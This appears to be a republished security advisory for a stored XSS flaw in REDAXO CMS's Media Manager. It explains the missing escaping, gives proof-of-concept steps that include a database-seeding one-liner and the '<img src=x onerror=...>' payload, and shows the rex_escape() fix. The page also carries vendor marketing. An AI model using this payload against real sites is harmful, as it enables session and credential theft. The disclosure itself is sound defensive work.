Summary
REDAXO: Stored XSS via Unescaped Media Manager Type Name in mediaIsInUse()
A stored cross-site scripting (XSS) vulnerability exists in REDAXO CMS 5.x. When an administrator attempts to delete a media file that is referenced by a Media Manager effect, the warning message rendered in the backend includes the type's name field without HTML escaping. An attacker with access to the Media Manager addon can store an XSS payload as a type name; the payload executes in the browser of any administrator who subsequently tries to delete a media file linked to that type's effects. This can lead to session hijacking and full backend account takeover.
Details
File: redaxo/src/addons/media_manager/lib/media_manager.php
Function: mediaIsInUse(), registered on the MEDIA_IS_IN_USE extension point in boot.php
When rex_media_service::deleteMedia() is called, it invokes rex_mediapool::mediaIsInUse($filename), which fires the MEDIA_IS_IN_USE extension point. The media_manager addon's handler queries all effects whose parameters JSON contains the filename, then constructs an HTML anchor with the type name inserted verbatim:
// media_manager.php ~line 457 ← VULNERABLE
$message = '<a href="javascript:openPage(\'' . rex_url::backendPage(...) . '\')">'
. rex_i18n::msg('media_manager') . ' '
. rex_i18n::msg('media_manager_effect_name') . ': '
. (string) $sql->getValue('name') // ← NO rex_escape() call
. '</a>';
The returned $message string is concatenated into the exception message thrown by deleteMedia() and rendered by rex_view::error() as raw HTML.
Contrast with the correct pattern used elsewhere in the same addon:
// types.php line 91 ← CORRECT
$name = '<b>' . rex_escape($list->getValue('name')) . '</b>';
Input validation gap: types.php line 200 validates the type name with the rule NOT_MATCH '{[/\\]}', which blocks {, /, and \ but permits <, >, ", ', and &, all characters required to inject HTML.
PoC
Test environment: REDAXO 5.x running at http://localhost/
Account required: Any REDAXO backend administrator
Test credentials: username admin / password Admin12345!
Step 1, Seed test data directly into the database (single CMD command)
docker exec -i 34--core-5x-redaxo-1 php -r "$p=new PDO('mysql:host=db;dbname=redaxo','redaxo','redaxo');$p->exec(\"INSERT IGNORE INTO rex_media(category_id,attributes,filetype,filename,originalname,filesize,width,height,title,createdate,createuser,updatedate,updateuser) VALUES(0,'','image/jpeg','xss_test.jpg','xss_test.jpg',284,1,1,'XSS Test',NOW(),'admin',NOW(),'admin')\");$tid=$p->query(\"SELECT id FROM rex_media_manager_type WHERE name='<img src=x onerror=alert(document.domain)>'\")->fetchColumn();if(!$tid){$p->prepare(\"INSERT INTO rex_media_manager_type(status,name,description,createdate,createuser,updatedate,updateuser) VALUES(1,?,'poc',NOW(),'admin',NOW(),'admin')\")->execute(['<img src=x onerror=alert(document.domain)>']);$tid=$p->lastInsertId();}$p->prepare(\"INSERT IGNORE INTO rex_media_manager_type_effect(type_id,effect,parameters,priority,createdate,createuser,updatedate,updateuser) VALUES(?,'watermark',?,1,NOW(),'admin',NOW(),'admin')\")->execute([$tid,json_encode(['rex_effect_watermark'=>['watermark_image'=>'xss_test.jpg']])]);echo \"OK type_id=$tid\n\";"
Step 2, Place a 1×1 JPEG in the media directory
docker exec 34--core-5x-redaxo-1 sh -c "printf '\xff\xd8\xff\xe0\x00\x10JFIF\x00\x01\x01\x00\x00\x01\x00\x01\x00\x00\xff\xdb\x00C\x00\x08\x06\x06\x07\x06\x05\x08\x07\x07\x07\t\t\x08\n\x0c\x14\r\x0c\x0b\x0b\x0c\x19\x12\x13\x0f\x14\x1d\x1a\x1f\x1e\x1d\x1a\x1c\x1c $.\' \",#\x1c\x1c(7),01444\x1f\x27=82<.342\x1e>\x1b\x1b123\x1e4\x1c\x1f\xff\xc0\x00\x0b\x08\x00\x01\x00\x01\x01\x01\x11\x00\xff\xc4\x00\x1f\x00\x00\x01\x05\x01\x01\x01\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x01\x02\x03\x04\x05\x06\x07\x08\t\n\x0b\xff\xda\x00\x08\x01\x01\x00\x00?\x00\xf5\x00\xff\xd9' > /var/www/html/media/xss_test.jpg"
Step 3, Login to the backend
Open a browser and navigate to:
http://localhost/redaxo/index.php
Login with: admin / Admin12345!
Step 4, Trigger the XSS
Navigate to the media file detail page:
http://localhost/redaxo/index.php?page=mediapool/media&file_id=1
Click the Delete button. REDAXO checks whether the file is in use, finds the Watermark effect whose parameters JSON references xss_test.jpg, and renders the type name in the warning HTML without escaping.
Result: The browser executes <img src=x onerror=alert(document.domain)> and an alert dialog showing the current domain appears immediately.
Impact
Vulnerability type: Stored Cross-Site Scripting (Stored XSS)
Who is impacted:
Any backend administrator who attempts to delete a media file that is referenced by a Media Manager effect. A malicious administrator (or an attacker who has compromised any admin account) can pre-plant a payload in a type name. All other administrators who later try to delete affected media files will have the payload executed in their browser sessions.
Exploitability:
- Privilege required to plant: Administrator (access to Media Manager addon)
- Privilege required to trigger: Administrator (access to Mediapool)
- User interaction required: Victim must click "Delete" on a media file
Realistic attack scenarios:
- Session cookie theft via
document.cookieexfiltration (leads to full account takeover) - Credential harvesting by dynamically replacing the login form
- CSRF-token extraction to perform authenticated actions on behalf of the victim
Untrusted input is rendered as active markup in a victim's browser, which can run script in their session. Typical impact: session or credential theft, and actions taken as the user.
CVE-2026-63001 has a CVSS score of 4.8 (Medium). The vector is network-reachable, high privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (5.21.2); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
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Apply rex_escape() to the type name before concatenating it into the HTML anchor:
// media_manager.php, apply rex_escape() to the name value
$message = '<a href="javascript:openPage(\'' . rex_url::backendPage(...) . '\')">'
. rex_i18n::msg('media_manager') . ' '
. rex_i18n::msg('media_manager_effect_name') . ': '
. rex_escape((string) $sql->getValue('name')) // ← ADD rex_escape()
. '</a>';
Frequently Asked Questions
- What is CVE-2026-63001? CVE-2026-63001 is a medium-severity cross-site scripting (XSS) vulnerability in redaxo/source (composer), affecting versions <= 5.21.1. It is fixed in 5.21.2. Untrusted input is rendered as active markup in a victim's browser, which can run script in their session.
- How severe is CVE-2026-63001? CVE-2026-63001 has a CVSS score of 4.8 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of redaxo/source are affected by CVE-2026-63001? redaxo/source (composer) versions <= 5.21.1 is affected.
- Is there a fix for CVE-2026-63001? Yes. CVE-2026-63001 is fixed in 5.21.2. Upgrade to this version or later.
- Is CVE-2026-63001 exploitable, and should I be worried? Whether CVE-2026-63001 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-63001 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-63001? Upgrade
redaxo/sourceto 5.21.2 or later.